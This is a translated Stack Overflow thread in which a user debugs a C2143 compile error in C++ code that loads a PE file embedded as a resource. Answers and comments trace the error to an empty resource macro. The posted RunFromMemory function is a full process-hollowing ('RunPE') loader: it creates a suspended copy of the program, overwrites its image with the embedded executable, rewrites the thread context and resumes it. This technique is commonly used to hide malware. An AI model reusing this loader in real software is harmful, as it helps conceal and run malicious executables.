【问题标题】:Visual C++ error C2143: syntax error : missing ';' before '{'Visual C++ 错误 C2143:语法错误:缺少“;”前 '{'
【发布时间】:2013-06-01 11:30:41
【问题描述】:

即使我看不到错误在哪里,我也有以下代码行在编译时抛出错误,也许我是盲目的:

if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_EXE1), "EXE")) != NULL) && ((hResData = LoadResource(hModule, hResInfo)) != NULL) && ((pvRes = LockResource(hResData)) != NULL))
{

错误:

embed.cpp(19) : error C2059: syntax error : ')'
embed.cpp(20) : error C2143: syntax error : missing ';' before '{'

全部代码如下:

嵌入.cpp

#include <windows.h>
#include <iostream>
#include "resource.h"

SECURITY_ATTRIBUTES secAttrib;

using namespace std;
void RunFromMemory(char*, char*);

int main(int argc, char* argv[])
{
HGLOBAL hResData;
HRSRC   hResInfo;
void    *pvRes;
DWORD dwSize;
char* lpMemory;
HMODULE hModule = GetModuleHandle(NULL);

if (((hResInfo = FindResource(hModule, MAKEINTRESOURCE(IDD_EXE1), "EXE")) != NULL) && ((hResData = LoadResource(hModule, hResInfo)) != NULL) && ((pvRes = LockResource(hResData)) != NULL))
{
    dwSize = SizeofResource(hModule, hResInfo);
    lpMemory = (char*)malloc (dwSize);
    memset(lpMemory,0,dwSize);
    memcpy (lpMemory, pvRes, dwSize);
    RunFromMemory(lpMemory,argv[0]);    
}
}

void RunFromMemory(char* pImage,char* pPath)
{
    DWORD dwWritten = 0;
    DWORD dwHeader = 0; 
    DWORD dwImageSize = 0;
    DWORD dwSectionCount = 0;
    DWORD dwSectionSize = 0;
    DWORD firstSection = 0;
    DWORD previousProtection = 0;
    DWORD jmpSize = 0;

    IMAGE_NT_HEADERS INH;
    IMAGE_DOS_HEADER IDH;
    IMAGE_SECTION_HEADER Sections[1000];

    PROCESS_INFORMATION peProcessInformation;
    STARTUPINFO peStartUpInformation;
    CONTEXT pContext;

    char* pMemory;
    char* pFile;
    memcpy(&IDH,pImage,sizeof(IDH));
    memcpy(&INH,(void*)((DWORD)pImage+IDH.e_lfanew),sizeof(INH));

    dwImageSize = INH.OptionalHeader.SizeOfImage;
    pMemory = (char*)malloc(dwImageSize);
    memset(pMemory,0,dwImageSize);
    pFile = pMemory;

    dwHeader = INH.OptionalHeader.SizeOfHeaders;
    firstSection = (DWORD)(((DWORD)pImage+IDH.e_lfanew) + sizeof(IMAGE_NT_HEADERS));
    memcpy(Sections,(char*)(firstSection),sizeof(IMAGE_SECTION_HEADER)*INH.FileHeader.NumberOfSections);

    memcpy(pFile,pImage,dwHeader);

    if((INH.OptionalHeader.SizeOfHeaders % INH.OptionalHeader.SectionAlignment)==0)
    {
        jmpSize = INH.OptionalHeader.SizeOfHeaders;
    }
    else
    {
        jmpSize = INH.OptionalHeader.SizeOfHeaders / INH.OptionalHeader.SectionAlignment;
        jmpSize += 1;
        jmpSize *= INH.OptionalHeader.SectionAlignment;
    }

    pFile = (char*)((DWORD)pFile + jmpSize);

    for(dwSectionCount = 0; dwSectionCount < INH.FileHeader.NumberOfSections; dwSectionCount++)
    {
        jmpSize = 0;
        dwSectionSize = Sections[dwSectionCount].SizeOfRawData;
        memcpy(pFile,(char*)(pImage + Sections[dwSectionCount].PointerToRawData),dwSectionSize);

        if((Sections[dwSectionCount].Misc.VirtualSize % INH.OptionalHeader.SectionAlignment)==0)
        {
            jmpSize = Sections[dwSectionCount].Misc.VirtualSize;
        }
        else
        {
            jmpSize = Sections[dwSectionCount].Misc.VirtualSize / INH.OptionalHeader.SectionAlignment;
            jmpSize += 1;
            jmpSize *= INH.OptionalHeader.SectionAlignment;
        }
        pFile = (char*)((DWORD)pFile + jmpSize);
    }


    memset(&peStartUpInformation,0,sizeof(STARTUPINFO));
    memset(&peProcessInformation,0,sizeof(PROCESS_INFORMATION));
    memset(&pContext,0,sizeof(CONTEXT));

    peStartUpInformation.cb = sizeof(peStartUpInformation);
    if(CreateProcess(NULL,pPath,&secAttrib,NULL,false,CREATE_SUSPENDED,NULL,NULL,&peStartUpInformation,&peProcessInformation))
    {
        pContext.ContextFlags = CONTEXT_FULL;
        GetThreadContext(peProcessInformation.hThread,&pContext);
        VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,PAGE_EXECUTE_READWRITE,&previousProtection);
        WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),pMemory,dwImageSize,&dwWritten);
        WriteProcessMemory(peProcessInformation.hProcess,(void*)((DWORD)pContext.Ebx + 8),&INH.OptionalHeader.ImageBase,4,&dwWritten);
        pContext.Eax = INH.OptionalHeader.ImageBase + INH.OptionalHeader.AddressOfEntryPoint;
        SetThreadContext(peProcessInformation.hThread,&pContext);
        VirtualProtectEx(peProcessInformation.hProcess,(void*)((DWORD)INH.OptionalHeader.ImageBase),dwImageSize,previousProtection,0);
        ResumeThread(peProcessInformation.hThread);
    }
    free(pMemory);
}

app.rc

IDD_EXE1 RCDATA "mm.txt"

资源.h

#define IDD_EXE1

mm.txt 是作为资源添加的 PE 文件。

【问题讨论】:

  • 也许有些宏会弄乱你的语法? MAKEINTRESOURCE 和 IDD_EXE1 是如何定义的?
  • 在正确的位置有正确数量的括号。我赞同 Jakub 的建议。
  • IDD_EXE1 RCDATA "mm.txt" 在 app.rc 中定义,MAKEINTRESOURCE 我相信在 WinAPI 中
  • 您应该真正将这些操作分开,而不是将它们全部堆放在一个if 条件中。如果其中一个失败了怎么办?
  • 我从命令行编译:cl /EHsc embed.cpp

标签: c++ visual-c++


【解决方案1】:

你需要结束花括号。这在 VS2008 上编译。

if (((hResInfo = FindResource(_Module.m_hInst, MAKEINTRESOURCE(IDC_EXE1), "EXE")) != NULL) 
    && ((hResData = LoadResource(_Module.m_hInst, hResInfo)) != NULL) 
    && ((pvRes = LockResource(hResData)) != NULL))
{
}

resource.h 不应该是这样的形式:

#define IDC_EXE1                      1004

为了在我的项目中编译,我将 _Module.m_hInst 替换为您的 hModule,但我猜它们是相同的。

好的,这比你的问题更进一步,但这里有一个用于嵌入文件的代码 sn-p - 在这种情况下是一个 war 文件(但可以是任何二进制文件)。

//load binary file into memory for output
HRSRC hrsrc = FindResource(_Module.m_hInst, (LPCSTR)IDS_WARFILE, RT_RCDATA);
HGLOBAL g = ::LoadResource(_Module.m_hInst, hrsrc);

LPVOID p = ::LockResource(g);
DWORD len = SizeofResource(_Module.m_hInst, hrsrc);

std::ofstream bstrm;
char file2[256] = {0};
sprintf(file2, "%syourname.war", path);
bstrm.open(file2, std::ofstream::out | std::ofstream::binary);
if(bstrm.good()) {
    bstrm.write((const char*)p, len);
}
bstrm.close();

还有resource.h文件:

#define IDS_WARFILE                     1007

末尾的fstream位输出指定路径中的文件。

您将要合并到程序中的二进制文件存储在项目的 rc 文件夹中。

最后要做的是:

IDS_WARFILE RCDATA "res\yourname.war"

【讨论】:

  • 是的,我没有正确定义它,我现在收到这些错误:embed.cpp embed.cpp(19) : error C2065: '_Module' : undeclared identifier embed.cpp(19) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type'' embed.cpp(19) : error C2065: 'IDD_EXE1' : undeclared identifier embed.cpp(20) : error C2065: '_Module' : undeclared identifier embed.cpp(20) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type''
  • @xtrmtrx - 只需使用你的 hModule - 删除 Module_.m_hInst
  • 错误地将IDC_EXE1 改为IDD_EXE1resource.h 中仍然得到这个:embed.cpp embed.cpp(19) : error C2065: '_Module' : undeclared identifier embed.cpp(19) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type'' embed.cpp(20) : error C2065: '_Module' : undeclared identifier embed.cpp(20) : error C2228: left of '.m_hInst' must have class/struct/union type is ''unknown-type''
  • 哇!没看到。现在编译好了:)我剩下的唯一问题是我的EXE没有作为资源加载,据我所知:)
猜你喜欢
  • 2011-05-17
  • 1970-01-01
  • 2013-07-30
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多